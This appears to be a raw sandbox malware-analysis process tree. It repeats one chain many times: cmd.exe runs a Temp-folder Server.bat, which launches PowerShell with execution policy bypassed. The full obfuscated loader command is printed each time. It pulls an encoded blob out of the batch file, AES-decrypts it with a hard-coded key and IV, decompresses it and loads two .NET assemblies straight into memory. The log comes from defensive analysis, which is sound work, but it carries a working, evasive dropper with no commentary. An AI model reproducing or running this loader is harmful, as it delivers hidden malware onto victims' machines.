        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('FlQMat0MWKp9p4UULL++wi+e0BJHd+7kmep9YgwUMpw='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('D8vzUdbK0uDuvMgXeJhQog=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $BQyPQ=New-Object System.IO.MemoryStream(,$param_var); $mlacX=New-Object System.IO.MemoryStream; $MruNj=New-Object System.IO.Compression.GZipStream($BQyPQ, [IO.Compression.CompressionMode]::Decompress); $MruNj.CopyTo($mlacX); $MruNj.Dispose(); $BQyPQ.Dispose(); $mlacX.Dispose(); $mlacX.ToArray();}function execute_function($param_var,$param2_var){ $dayBD=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $uVeDZ=$dayBD.EntryPoint; $uVeDZ.Invoke($null, $param2_var);}$host.UI.RawUI.WindowTitle = 'C:\Users\Admin\AppData\Local\Temp\Server.bat';$YxGQE=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Local\Temp\Server.bat').Split([Environment]::NewLine);foreach ($ZxnzT in $YxGQE) { if ($ZxnzT.StartsWith(':: ')) { $VoPBS=$ZxnzT.Substring(3); break; }}$payloads_var=[string[]]$VoPBS.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));
        94⤵
        Blocklisted process makes network request
        
        PID:4396
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\Server.bat" "
        92⤵
        
        PID:2276
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('FlQMat0MWKp9p4UULL++wi+e0BJHd+7kmep9YgwUMpw='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('D8vzUdbK0uDuvMgXeJhQog=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $BQyPQ=New-Object System.IO.MemoryStream(,$param_var); $mlacX=New-Object System.IO.MemoryStream; $MruNj=New-Object System.IO.Compression.GZipStream($BQyPQ, [IO.Compression.CompressionMode]::Decompress); $MruNj.CopyTo($mlacX); $MruNj.Dispose(); $BQyPQ.Dispose(); $mlacX.Dispose(); $mlacX.ToArray();}function execute_function($param_var,$param2_var){ $dayBD=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $uVeDZ=$dayBD.EntryPoint; $uVeDZ.Invoke($null, $param2_var);}$host.UI.RawUI.WindowTitle = 'C:\Users\Admin\AppData\Local\Temp\Server.bat';$YxGQE=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Local\Temp\Server.bat').Split([Environment]::NewLine);foreach ($ZxnzT in $YxGQE) { if ($ZxnzT.StartsWith(':: ')) { $VoPBS=$ZxnzT.Substring(3); break; }}$payloads_var=[string[]]$VoPBS.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));
        93⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:4232
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\Server.bat" "
        91⤵
        
        PID:4408
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('FlQMat0MWKp9p4UULL++wi+e0BJHd+7kmep9YgwUMpw='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('D8vzUdbK0uDuvMgXeJhQog=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $BQyPQ=New-Object System.IO.MemoryStream(,$param_var); $mlacX=New-Object System.IO.MemoryStream; $MruNj=New-Object System.IO.Compression.GZipStream($BQyPQ, [IO.Compression.CompressionMode]::Decompress); $MruNj.CopyTo($mlacX); $MruNj.Dispose(); $BQyPQ.Dispose(); $mlacX.Dispose(); $mlacX.ToArray();}function execute_function($param_var,$param2_var){ $dayBD=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $uVeDZ=$dayBD.EntryPoint; $uVeDZ.Invoke($null, $param2_var);}$host.UI.RawUI.WindowTitle = 'C:\Users\Admin\AppData\Local\Temp\Server.bat';$YxGQE=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Local\Temp\Server.bat').Split([Environment]::NewLine);foreach ($ZxnzT in $YxGQE) { if ($ZxnzT.StartsWith(':: ')) { $VoPBS=$ZxnzT.Substring(3); break; }}$payloads_var=[string[]]$VoPBS.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));
        92⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:1636
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\Server.bat" "
        90⤵
        
        PID:4952
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('FlQMat0MWKp9p4UULL++wi+e0BJHd+7kmep9YgwUMpw='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('D8vzUdbK0uDuvMgXeJhQog=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $BQyPQ=New-Object System.IO.MemoryStream(,$param_var); $mlacX=New-Object System.IO.MemoryStream; $MruNj=New-Object System.IO.Compression.GZipStream($BQyPQ, [IO.Compression.CompressionMode]::Decompress); $MruNj.CopyTo($mlacX); $MruNj.Dispose(); $BQyPQ.Dispose(); $mlacX.Dispose(); $mlacX.ToArray();}function execute_function($param_var,$param2_var){ $dayBD=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $uVeDZ=$dayBD.EntryPoint; $uVeDZ.Invoke($null, $param2_var);}$host.UI.RawUI.WindowTitle = 'C:\Users\Admin\AppData\Local\Temp\Server.bat';$YxGQE=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Local\Temp\Server.bat').Split([Environment]::NewLine);foreach ($ZxnzT in $YxGQE) { if ($ZxnzT.StartsWith(':: ')) { $VoPBS=$ZxnzT.Substring(3); break; }}$payloads_var=[string[]]$VoPBS.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));
        91⤵
        
        PID:3132
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\Server.bat" "
        89⤵
        
        PID:3908
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('FlQMat0MWKp9p4UULL++wi+e0BJHd+7kmep9YgwUMpw='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('D8vzUdbK0uDuvMgXeJhQog=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $BQyPQ=New-Object System.IO.MemoryStream(,$param_var); $mlacX=New-Object System.IO.MemoryStream; $MruNj=New-Object System.IO.Compression.GZipStream($BQyPQ, [IO.Compression.CompressionMode]::Decompress); $MruNj.CopyTo($mlacX); $MruNj.Dispose(); $BQyPQ.Dispose(); $mlacX.Dispose(); $mlacX.ToArray();}function execute_function($param_var,$param2_var){ $dayBD=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $uVeDZ=$dayBD.EntryPoint; $uVeDZ.Invoke($null, $param2_var);}$host.UI.RawUI.WindowTitle = 'C:\Users\Admin\AppData\Local\Temp\Server.bat';$YxGQE=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Local\Temp\Server.bat').Split([Environment]::NewLine);foreach ($ZxnzT in $YxGQE) { if ($ZxnzT.StartsWith(':: ')) { $VoPBS=$ZxnzT.Substring(3); break; }}$payloads_var=[string[]]$VoPBS.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));
        90⤵
        
        PID:3936
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\Server.bat" "
        88⤵
        
        PID:3692
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('FlQMat0MWKp9p4UULL++wi+e0BJHd+7kmep9YgwUMpw='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('D8vzUdbK0uDuvMgXeJhQog=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $BQyPQ=New-Object System.IO.MemoryStream(,$param_var); $mlacX=New-Object System.IO.MemoryStream; $MruNj=New-Object System.IO.Compression.GZipStream($BQyPQ, [IO.Compression.CompressionMode]::Decompress); $MruNj.CopyTo($mlacX); $MruNj.Dispose(); $BQyPQ.Dispose(); $mlacX.Dispose(); $mlacX.ToArray();}function execute_function($param_var,$param2_var){ $dayBD=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $uVeDZ=$dayBD.EntryPoint; $uVeDZ.Invoke($null, $param2_var);}$host.UI.RawUI.WindowTitle = 'C:\Users\Admin\AppData\Local\Temp\Server.bat';$YxGQE=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Local\Temp\Server.bat').Split([Environment]::NewLine);foreach ($ZxnzT in $YxGQE) { if ($ZxnzT.StartsWith(':: ')) { $VoPBS=$ZxnzT.Substring(3); break; }}$payloads_var=[string[]]$VoPBS.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));
        89⤵
        
        PID:2764
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\Server.bat" "
        87⤵
        
        PID:1904
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('FlQMat0MWKp9p4UULL++wi+e0BJHd+7kmep9YgwUMpw='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('D8vzUdbK0uDuvMgXeJhQog=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $BQyPQ=New-Object System.IO.MemoryStream(,$param_var); $mlacX=New-Object System.IO.MemoryStream; $MruNj=New-Object System.IO.Compression.GZipStream($BQyPQ, [IO.Compression.CompressionMode]::Decompress); $MruNj.CopyTo($mlacX); $MruNj.Dispose(); $BQyPQ.Dispose(); $mlacX.Dispose(); $mlacX.ToArray();}function execute_function($param_var,$param2_var){ $dayBD=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $uVeDZ=$dayBD.EntryPoint; $uVeDZ.Invoke($null, $param2_var);}$host.UI.RawUI.WindowTitle = 'C:\Users\Admin\AppData\Local\Temp\Server.bat';$YxGQE=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Local\Temp\Server.bat').Split([Environment]::NewLine);foreach ($ZxnzT in $YxGQE) { if ($ZxnzT.StartsWith(':: ')) { $VoPBS=$ZxnzT.Substring(3); break; }}$payloads_var=[string[]]$VoPBS.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));
        88⤵
        
        PID:1416
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\Server.bat" "
        86⤵
        
        PID:1932
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('FlQMat0MWKp9p4UULL++wi+e0BJHd+7kmep9YgwUMpw='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('D8vzUdbK0uDuvMgXeJhQog=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $BQyPQ=New-Object System.IO.MemoryStream(,$param_var); $mlacX=New-Object System.IO.MemoryStream; $MruNj=New-Object System.IO.Compression.GZipStream($BQyPQ, [IO.Compression.CompressionMode]::Decompress); $MruNj.CopyTo($mlacX); $MruNj.Dispose(); $BQyPQ.Dispose(); $mlacX.Dispose(); $mlacX.ToArray();}function execute_function($param_var,$param2_var){ $dayBD=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $uVeDZ=$dayBD.EntryPoint; $uVeDZ.Invoke($null, $param2_var);}$host.UI.RawUI.WindowTitle = 'C:\Users\Admin\AppData\Local\Temp\Server.bat';$YxGQE=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Local\Temp\Server.bat').Split([Environment]::NewLine);foreach ($ZxnzT in $YxGQE) { if ($ZxnzT.StartsWith(':: ')) { $VoPBS=$ZxnzT.Substring(3); break; }}$payloads_var=[string[]]$VoPBS.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));
        87⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:5036
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\Server.bat" "
        85⤵
        
        PID:4796
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('FlQMat0MWKp9p4UULL++wi+e0BJHd+7kmep9YgwUMpw='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('D8vzUdbK0uDuvMgXeJhQog=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $BQyPQ=New-Object System.IO.MemoryStream(,$param_var); $mlacX=New-Object System.IO.MemoryStream; $MruNj=New-Object System.IO.Compression.GZipStream($BQyPQ, [IO.Compression.CompressionMode]::Decompress); $MruNj.CopyTo($mlacX); $MruNj.Dispose(); $BQyPQ.Dispose(); $mlacX.Dispose(); $mlacX.ToArray();}function execute_function($param_var,$param2_var){ $dayBD=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $uVeDZ=$dayBD.EntryPoint; $uVeDZ.Invoke($null, $param2_var);}$host.UI.RawUI.WindowTitle = 'C:\Users\Admin\AppData\Local\Temp\Server.bat';$YxGQE=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Local\Temp\Server.bat').Split([Environment]::NewLine);foreach ($ZxnzT in $YxGQE) { if ($ZxnzT.StartsWith(':: ')) { $VoPBS=$ZxnzT.Substring(3); break; }}$payloads_var=[string[]]$VoPBS.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));
        86⤵
        
        PID:2320
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\Server.bat" "
        84⤵
        
        PID:512
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('FlQMat0MWKp9p4UULL++wi+e0BJHd+7kmep9YgwUMpw='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('D8vzUdbK0uDuvMgXeJhQog=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $BQyPQ=New-Object System.IO.MemoryStream(,$param_var); $mlacX=New-Object System.IO.MemoryStream; $MruNj=New-Object System.IO.Compression.GZipStream($BQyPQ, [IO.Compression.CompressionMode]::Decompress); $MruNj.CopyTo($mlacX); $MruNj.Dispose(); $BQyPQ.Dispose(); $mlacX.Dispose(); $mlacX.ToArray();}function execute_function($param_var,$param2_var){ $dayBD=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $uVeDZ=$dayBD.EntryPoint; $uVeDZ.Invoke($null, $param2_var);}$host.UI.RawUI.WindowTitle = 'C:\Users\Admin\AppData\Local\Temp\Server.bat';$YxGQE=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Local\Temp\Server.bat').Split([Environment]::NewLine);foreach ($ZxnzT in $YxGQE) { if ($ZxnzT.StartsWith(':: ')) { $VoPBS=$ZxnzT.Substring(3); break; }}$payloads_var=[string[]]$VoPBS.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));
        85⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:2712
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\Server.bat" "
        83⤵
        
        PID:4880
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('FlQMat0MWKp9p4UULL++wi+e0BJHd+7kmep9YgwUMpw='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('D8vzUdbK0uDuvMgXeJhQog=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $BQyPQ=New-Object System.IO.MemoryStream(,$param_var); $mlacX=New-Object System.IO.MemoryStream; $MruNj=New-Object System.IO.Compression.GZipStream($BQyPQ, [IO.Compression.CompressionMode]::Decompress); $MruNj.CopyTo($mlacX); $MruNj.Dispose(); $BQyPQ.Dispose(); $mlacX.Dispose(); $mlacX.ToArray();}function execute_function($param_var,$param2_var){ $dayBD=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $uVeDZ=$dayBD.EntryPoint; $uVeDZ.Invoke($null, $param2_var);}$host.UI.RawUI.WindowTitle = 'C:\Users\Admin\AppData\Local\Temp\Server.bat';$YxGQE=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Local\Temp\Server.bat').Split([Environment]::NewLine);foreach ($ZxnzT in $YxGQE) { if ($ZxnzT.StartsWith(':: ')) { $VoPBS=$ZxnzT.Substring(3); break; }}$payloads_var=[string[]]$VoPBS.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));
        84⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:2264
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\Server.bat" "
        82⤵
        
        PID:2064
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('FlQMat0MWKp9p4UULL++wi+e0BJHd+7kmep9YgwUMpw='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('D8vzUdbK0uDuvMgXeJhQog=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $BQyPQ=New-Object System.IO.MemoryStream(,$param_var); $mlacX=New-Object System.IO.MemoryStream; $MruNj=New-Object System.IO.Compression.GZipStream($BQyPQ, [IO.Compression.CompressionMode]::Decompress); $MruNj.CopyTo($mlacX); $MruNj.Dispose(); $BQyPQ.Dispose(); $mlacX.Dispose(); $mlacX.ToArray();}function execute_function($param_var,$param2_var){ $dayBD=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $uVeDZ=$dayBD.EntryPoint; $uVeDZ.Invoke($null, $param2_var);}$host.UI.RawUI.WindowTitle = 'C:\Users\Admin\AppData\Local\Temp\Server.bat';$YxGQE=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Local\Temp\Server.bat').Split([Environment]::NewLine);foreach ($ZxnzT in $YxGQE) { if ($ZxnzT.StartsWith(':: ')) { $VoPBS=$ZxnzT.Substring(3); break; }}$payloads_var=[string[]]$VoPBS.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));
        83⤵
        
        PID:4916
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\Server.bat" "
        81⤵
        
        PID:2072
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
